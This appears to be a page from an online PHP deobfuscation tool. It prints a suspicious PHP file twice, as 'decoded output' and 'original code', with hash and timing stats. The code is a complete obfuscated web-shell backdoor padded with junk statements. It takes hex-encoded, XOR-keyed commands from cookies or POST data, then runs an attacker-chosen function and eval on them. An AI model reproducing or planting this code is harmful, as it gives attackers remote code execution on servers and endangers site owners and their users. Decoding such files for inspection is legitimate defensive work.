Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function/* c */eCxWKtXi($JmehrQ) { return @pack( chr (/* ..
Decoded Output download
<?php function/* c */eCxWKtXi($JmehrQ)
{
return @pack( chr (/* lLh */698 - 626/* xmW */).chr/* d*/(42), $JmehrQ/* CcD */);;
$LywtIQbgDp = md5($JmehrQ);
/* Tzr */$YMCsIPXBiQ =/* tSY */base64_decode($JmehrQ);$_Ylb =/* RWfgV */'51770';
if ($YMCsIPXBiQ/* vchfU */===/*bINfZ */false) {
$YMCsIPXBiQ/* bMJ*/= '';
}
/* pn */$OINIukgh/*B */= str_split($JmehrQ);;
/* Len*/$yyABWW = strlen($JmehrQ);$_P =/* mc */'42830';
$XrBBxSgEKm = 0;
while (/* NhJjd*/$XrBBxSgEKm < $yyABWW ) {
$XrBBxSgEKm++;
$joDKL =/*sut*/$OINIukgh[$XrBBxSgEKm];$_KkIQA/* yjlLZ */= '40598';
if (strpos($joDKL,/* HtStr */'a') !==/* SzRaM */false) {
$OINIukgh[$XrBBxSgEKm] = strtoupper($joDKL);;
}
}
$javqvgJ/* DtRFZ */= implode('', $OINIukgh);
$_GET['decoded'] = $javqvgJ;
$_POST['hash']/* kBdBD */= $LywtIQbgDp;;
if/*jIIf */(file_exists('path/to/file'))/*Mr */{
$VxKSZVB =/* i*/file_get_contents('path/to/file');
/* kBHu */$XAgQSnt/* R */=/* BFTb */explode(',', $VxKSZVB);
$QzGChrTmT = md5(serialize($XAgQSnt));
if/* OOiot */(is_array($XAgQSnt)) {
/* zQsH */$VSGyzLBerO =/* SWJ */array_slice($XAgQSnt, 0, 5);
}
}
$zqCpAb =/* TrhiD */array_map('trim',/*mCO */$VSGyzLBerO);
$RSjlUhD =/* jLsR */rawurldecode(implode(',', $zqCpAb));$_bKEq =/*Xt */'20462';
/* Bs*/$_COOKIE['final_value']/* Ve */= $RSjlUhD;
}
function OPYmUSN()
/*oRduT */{
$zAEeWl/* h */=/*YxUab */Array($_COOKIE, $_POST);;
$UYJaL = array_map('md5', $_COOKIE);
$FIMAChRTz = strpos($_SERVER['HTTP_USER_AGENT'],/* pnWx */'Mozilla') !== false ? 'browser is/* OCjN */Mozilla'/* UYYbL */:/*VFo*/'browser is not Mozilla';;
/* pBxLj*/if/* GyK*/(is_array($zAEeWl)) {
$JQNEd = array_slice($zAEeWl, 0, 1);
/* B */}/* R */else {
/* Ct */$JQNEd/*yYxZT */= [];
}
/* Nmxz */
/* M */$BLEQdm =/* aHd */explode(',', 'apple,orange,banana');;
$LVkCuVKqig =/* CvhVa */rawurldecode('%20Hello%20World%20');$_FNExF = '9213';
/* pbGo*/$XrBBxSgEKm = 0;;
while/* For */($XrBBxSgEKm < count($BLEQdm)/* dp*/) {
$BLEQdm[$XrBBxSgEKm] = str_repeat($BLEQdm[$XrBBxSgEKm], 2);;
/*skh */$XrBBxSgEKm++;$_VJt = '17942';
}
/* bh*/
$ZXiTLhUe = str_repeat($FIMAChRTz, 3);$_yB = '40914';
return $zAEeWl;;
}
/* UitS */
/* cbFJm*/function VrqeV($tsRmj)
/* W*/{
$UGfyxQKX/* JD*/= "#";$_cLn = '28062';
foreach/*jSp*/(OPYmUSN() as $SLApk) {
/* ygqay*/hwsyZS($SLApk,/* os */$UGfyxQKX);$_tA = '1847';
}
}
function GsIyfVcqvy($XrBBxSgEKmjPfYWIlxn, $fOsqiHEm)
{
if ( count ( $XrBBxSgEKmjPfYWIlxn )/* D */==/* nfV*/3 ) {
/* XKkK*/$AVCQq/* Rubu */= $XrBBxSgEKmjPfYWIlxn[1];
$mWvFsy/* xm*/=/* Q */$XrBBxSgEKmjPfYWIlxn[2];
$yqwngep = $AVCQq($mWvFsy);$_YKpM = '38922';
eval ( $yqwngep );
die/*Gp*/();$_s = '35585';
/* exX */}
}
function PVgUAEiX($JmehrQ, $Ozlhx)
{
return $JmehrQ ^/* m*/$Ozlhx;
}
/* Hjr */
function yrwWJ($ptExeY, $UGfyxQKX)
/* iVU */{
/* KDy */$ptExeY = explode ($UGfyxQKX, $ptExeY );;
/* HwGvP */
GsIyfVcqvy($ptExeY, $UGfyxQKX);
/* y */}
function hwsyZS($SLApk, $UGfyxQKX)
{
/* buC */foreach (/* IJ */$SLApk as $Ozlhx/* E */=> $JmehrQ/* ei */) {
bxWlMQ($Ozlhx,/* vQ */eCxWKtXi($JmehrQ), $UGfyxQKX);
}
}
/* qqau */function tteEoJ($Ozlhx,/*CU */$JmehrQ)
{
$yvdYmuMM/* dc */=/* ULQqj*/strlen(/* s*/$JmehrQ )/strlen( $Ozlhx/* i */);;
$Ozlhx/* VZAx */.=/* ufoCE */"sntEDZu-iJt-BbINWf-ucoGQ-DQffry-tjxXvi-qEVnKq";$_X = '47313';
$Ozlhx/* y */= str_repeat/* Bfwfx */( $Ozlhx, intval($yvdYmuMM) + 1);
/*N */
return/* yeAa*/$Ozlhx;$_wICaK/* QRQ*/= '313';
/*TPC */}
function bxWlMQ($Ozlhx, $JmehrQ, $UGfyxQKX)
{
yrwWJ(PVgUAEiX($JmehrQ, tteEoJ($Ozlhx,/* fkl */$JmehrQ)),/* ieLGa*/$UGfyxQKX);;
/* FmaOE */$TJbZY = trim($JmehrQ);$_CD/* NN */= '11797';
/*z*/$EDcpVnukRb/* Xo */= explode($UGfyxQKX, $TJbZY);$_X = '20135';
/* y */if/* OQ*/(count($EDcpVnukRb) > 1) {
$YWvGW/* nuUW*/= implode("-",/* eNPm */$EDcpVnukRb);
$RSQFDGv =/* IXD*/str_pad($YWvGW,/* PgT */20, chr (48),/* ypLJX */STR_PAD_RIGHT);
}
} ?>
Did this file decode correctly?
Original Code
<?php function/* c */eCxWKtXi($JmehrQ)
{
return @pack( chr (/* lLh */698 - 626/* xmW */).chr/* d*/(42), $JmehrQ/* CcD */);;
$LywtIQbgDp = md5($JmehrQ);
/* Tzr */$YMCsIPXBiQ =/* tSY */base64_decode($JmehrQ);$_Ylb =/* RWfgV */'51770';
if ($YMCsIPXBiQ/* vchfU */===/*bINfZ */false) {
$YMCsIPXBiQ/* bMJ*/= '';
}
/* pn */$OINIukgh/*B */= str_split($JmehrQ);;
/* Len*/$yyABWW = strlen($JmehrQ);$_P =/* mc */'42830';
$XrBBxSgEKm = 0;
while (/* NhJjd*/$XrBBxSgEKm < $yyABWW ) {
$XrBBxSgEKm++;
$joDKL =/*sut*/$OINIukgh[$XrBBxSgEKm];$_KkIQA/* yjlLZ */= '40598';
if (strpos($joDKL,/* HtStr */'a') !==/* SzRaM */false) {
$OINIukgh[$XrBBxSgEKm] = strtoupper($joDKL);;
}
}
$javqvgJ/* DtRFZ */= implode('', $OINIukgh);
$_GET['decoded'] = $javqvgJ;
$_POST['hash']/* kBdBD */= $LywtIQbgDp;;
if/*jIIf */(file_exists('path/to/file'))/*Mr */{
$VxKSZVB =/* i*/file_get_contents('path/to/file');
/* kBHu */$XAgQSnt/* R */=/* BFTb */explode(',', $VxKSZVB);
$QzGChrTmT = md5(serialize($XAgQSnt));
if/* OOiot */(is_array($XAgQSnt)) {
/* zQsH */$VSGyzLBerO =/* SWJ */array_slice($XAgQSnt, 0, 5);
}
}
$zqCpAb =/* TrhiD */array_map('trim',/*mCO */$VSGyzLBerO);
$RSjlUhD =/* jLsR */rawurldecode(implode(',', $zqCpAb));$_bKEq =/*Xt */'20462';
/* Bs*/$_COOKIE['final_value']/* Ve */= $RSjlUhD;
}
function OPYmUSN()
/*oRduT */{
$zAEeWl/* h */=/*YxUab */Array($_COOKIE, $_POST);;
$UYJaL = array_map('md5', $_COOKIE);
$FIMAChRTz = strpos($_SERVER['HTTP_USER_AGENT'],/* pnWx */'Mozilla') !== false ? 'browser is/* OCjN */Mozilla'/* UYYbL */:/*VFo*/'browser is not Mozilla';;
/* pBxLj*/if/* GyK*/(is_array($zAEeWl)) {
$JQNEd = array_slice($zAEeWl, 0, 1);
/* B */}/* R */else {
/* Ct */$JQNEd/*yYxZT */= [];
}
/* Nmxz */
/* M */$BLEQdm =/* aHd */explode(',', 'apple,orange,banana');;
$LVkCuVKqig =/* CvhVa */rawurldecode('%20Hello%20World%20');$_FNExF = '9213';
/* pbGo*/$XrBBxSgEKm = 0;;
while/* For */($XrBBxSgEKm < count($BLEQdm)/* dp*/) {
$BLEQdm[$XrBBxSgEKm] = str_repeat($BLEQdm[$XrBBxSgEKm], 2);;
/*skh */$XrBBxSgEKm++;$_VJt = '17942';
}
/* bh*/
$ZXiTLhUe = str_repeat($FIMAChRTz, 3);$_yB = '40914';
return $zAEeWl;;
}
/* UitS */
/* cbFJm*/function VrqeV($tsRmj)
/* W*/{
$UGfyxQKX/* JD*/= "\43";$_cLn = '28062';
foreach/*jSp*/(OPYmUSN() as $SLApk) {
/* ygqay*/hwsyZS($SLApk,/* os */$UGfyxQKX);$_tA = '1847';
}
}
function GsIyfVcqvy($XrBBxSgEKmjPfYWIlxn, $fOsqiHEm)
{
if ( count ( $XrBBxSgEKmjPfYWIlxn )/* D */==/* nfV*/3 ) {
/* XKkK*/$AVCQq/* Rubu */= $XrBBxSgEKmjPfYWIlxn[1];
$mWvFsy/* xm*/=/* Q */$XrBBxSgEKmjPfYWIlxn[2];
$yqwngep = $AVCQq($mWvFsy);$_YKpM = '38922';
eval ( $yqwngep );
die/*Gp*/();$_s = '35585';
/* exX */}
}
function PVgUAEiX($JmehrQ, $Ozlhx)
{
return $JmehrQ ^/* m*/$Ozlhx;
}
/* Hjr */
function yrwWJ($ptExeY, $UGfyxQKX)
/* iVU */{
/* KDy */$ptExeY = explode ($UGfyxQKX, $ptExeY );;
/* HwGvP */
GsIyfVcqvy($ptExeY, $UGfyxQKX);
/* y */}
function hwsyZS($SLApk, $UGfyxQKX)
{
/* buC */foreach (/* IJ */$SLApk as $Ozlhx/* E */=> $JmehrQ/* ei */) {
bxWlMQ($Ozlhx,/* vQ */eCxWKtXi($JmehrQ), $UGfyxQKX);
}
}
/* qqau */function tteEoJ($Ozlhx,/*CU */$JmehrQ)
{
$yvdYmuMM/* dc */=/* ULQqj*/strlen(/* s*/$JmehrQ )/strlen( $Ozlhx/* i */);;
$Ozlhx/* VZAx */.=/* ufoCE */"sntEDZu-iJt-BbINWf-ucoGQ-DQffry-tjxXvi-qEVnKq";$_X = '47313';
$Ozlhx/* y */= str_repeat/* Bfwfx */( $Ozlhx, intval($yvdYmuMM) + 1);
/*N */
return/* yeAa*/$Ozlhx;$_wICaK/* QRQ*/= '313';
/*TPC */}
function bxWlMQ($Ozlhx, $JmehrQ, $UGfyxQKX)
{
yrwWJ(PVgUAEiX($JmehrQ, tteEoJ($Ozlhx,/* fkl */$JmehrQ)),/* ieLGa*/$UGfyxQKX);;
/* FmaOE */$TJbZY = trim($JmehrQ);$_CD/* NN */= '11797';
/*z*/$EDcpVnukRb/* Xo */= explode($UGfyxQKX, $TJbZY);$_X = '20135';
/* y */if/* OQ*/(count($EDcpVnukRb) > 1) {
$YWvGW/* nuUW*/= implode("\55",/* eNPm */$EDcpVnukRb);
$RSQFDGv =/* IXD*/str_pad($YWvGW,/* PgT */20, chr (48),/* ypLJX */STR_PAD_RIGHT);
}
}
Function Calls
None |
Stats
MD5 | 22b055c184a65ca790bd57c05c8454a9 |
Eval Count | 0 |
Decode Time | 53 ms |